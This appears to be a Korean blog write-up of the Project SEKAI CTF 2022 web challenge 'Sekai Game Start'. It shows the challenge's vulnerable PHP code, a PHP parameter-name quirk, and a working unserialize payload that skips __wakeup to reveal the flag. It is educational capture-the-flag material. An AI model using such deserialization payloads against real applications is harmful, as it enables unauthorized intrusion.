[Project SEKAI CTF 2022] Web - Sekai Game Start

2022. 11. 17. 22:05· CTF
목차
  1. Web - Sekai Game Start
728x90

Web - Sekai Game Start

https://ctf.sekai.team/challenges#Sekai-Game-Start-28

첫 화면

/flag.php를 입력하면 빈 화면만 나온다.

[문제 코드]

코드를 보면서 $_GET['sekai_game.run']이므로 sekai_game.run을 입력받고..$start라는 변수?가 맞을 때 Sekai Game이 시작되면서 flag를 보여주는 것 같다고 생각했다.

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

그래서 $start=flag, $start=sekai 등을 입력해보았지만 모두 처음과 같은 화면이 나왔다.

sekai_game.run 이라는 GET 파라미터를 받아서, 그 내용 값을 unserialize 함수에 넘겨주는 것으로 Flag값이 출력되도록 해야하는 문제이다.

sekai_game.run 이라는 이름의 GET 파라미터를 어떻게 받아와야하는지 생각해봤다. PHP에서는 보통 파라미터로 . 이라는 문자가 들어오면 _로 변경한다.

https://www.php.net/manual/en/language.variables.external.php#81080

위 링크를 통해서 왼쪽 대괄호 기호( [)가 _로 변환 된다는 것을 알 수 있었다. 그러나 이전 PHP 버전(8 이전)에서는 [와 .함께 표시 되면 버그로 인해 제대로 탈출하지 못한다. 따라서 페이로드가 유효하다.

/?sekai[game.run=C:10:"Sekai_Game":0:{}

SEKAI{W3lcome_T0_Our_universe}

'CTF' 카테고리의 다른 글

[Swing CTF] Web-Ayaya  (0) 2022.11.26
[Swing CTF] Reversing-EasyXOR  (0) 2022.11.25
[Project SEKAI CTF 2022] Crypto - Time Capsul  (0) 2022.11.17
[Project SEKAI CTF 2022] Forensics - Broken Converter  (0) 2022.11.17
[Project SEKAI CTF 2022] Web - Bottle Poem  (0) 2022.10.01
  1. Web - Sekai Game Start
'CTF' 카테고리의 다른 글
  • [Swing CTF] Reversing-EasyXOR
  • [Project SEKAI CTF 2022] Crypto - Time Capsul
  • [Project SEKAI CTF 2022] Forensics - Broken Converter
  • [Project SEKAI CTF 2022] Web - Bottle Poem
오호츠크해 기단
오호츠크해 기단
오호츠크해 기단
공기덩어리
오호츠크해 기단
전체
오늘
어제
  • 분류 전체보기 (223)
    • Linux (14)
    • Web (20)
    • Forensic (20)
    • Reversing (18)
    • System (28)
    • Fuzzing (4)
    • WHS 1st (12)
    • SWING (5)
    • CTF (37)
    • 활동들.. (24)
      • 개인정보보호 국민점검단 (1)
      • 스쿨혁명 1784 (1)
      • Incognito (10)
      • 코드클럽 (10)
      • 월드프렌즈코리아 ICT봉사단 (2)
    • Dreamhack (16)
      • Web Hacking (10)
      • Crypto (6)
    • 개발 (19)
      • C++ (12)
      • Git (3)
      • Figma (1)
      • Clone (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 마크다운 문법
  • 방
  • readme
  • SW교육기부단
  • 깃허브
  • MD
  • github
  • 월클
  • 마크다운
  • 코드클럽

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.0
오호츠크해 기단
[Project SEKAI CTF 2022] Web - Sekai Game Start
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.